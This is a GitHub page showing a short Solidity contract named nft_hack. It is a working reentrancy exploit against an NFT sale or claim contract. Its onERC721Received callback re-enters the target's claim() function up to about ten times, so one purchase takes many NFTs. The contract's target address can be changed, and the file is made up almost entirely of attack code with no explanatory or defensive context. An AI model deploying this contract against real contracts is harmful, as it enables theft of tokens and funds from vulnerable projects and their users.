-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathnft_hack.sol
42 lines (34 loc) · 1.03 KB
/
nft_hack.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract nft_hack{
address public target;
uint8 public counter;
constructor(address _target){
target = _target;
counter=0;
}
function setTarget(address _target)external{
target= _target;
}
function buy() external payable {
target.call{value: msg.value}(abi.encodeWithSignature("buyNFT()"));
}
function claim() external {
target.call(abi.encodeWithSignature("claim()"));
}
function onERC721Received(
address,
address,
uint256,
bytes calldata
)external returns(bytes4) {
// target.call(abi.encodeWithSignature("balanceOf(address)",addr));
counter+=1;
if(counter>10){
return bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
}
target.call(abi.encodeWithSignature("claim()"));
counter+=1;
return bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
}
}